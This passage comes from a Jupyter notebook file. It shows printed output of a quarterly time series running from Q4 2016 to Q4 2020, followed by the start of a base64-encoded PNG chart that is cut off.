1788\n", + "27 Q4 2016 1860\n", + "28 Q1 2017 1936\n", + "29 Q2 2017 2006\n", + "30 Q3 2017 2072\n", + "31 Q4 2017 2129\n", + "32 Q1 2018 2196\n", + "33 Q2 2018 2234\n", + "34 Q3 2018 2271\n", + "35 Q4 2018 2320\n", + "36 Q1 2019 2375\n", + "37 Q2 2019 2414\n", + "38 Q3 2019 2449\n", + "39 Q4 2019 2498\n", + "40 Q1 2020 2603\n", + "41 Q2 2020 2701\n", + "42 Q3 2020 2740\n", + "43 Q4 2020 2797\n" + ] + }, + { + "data": { + "image/png": "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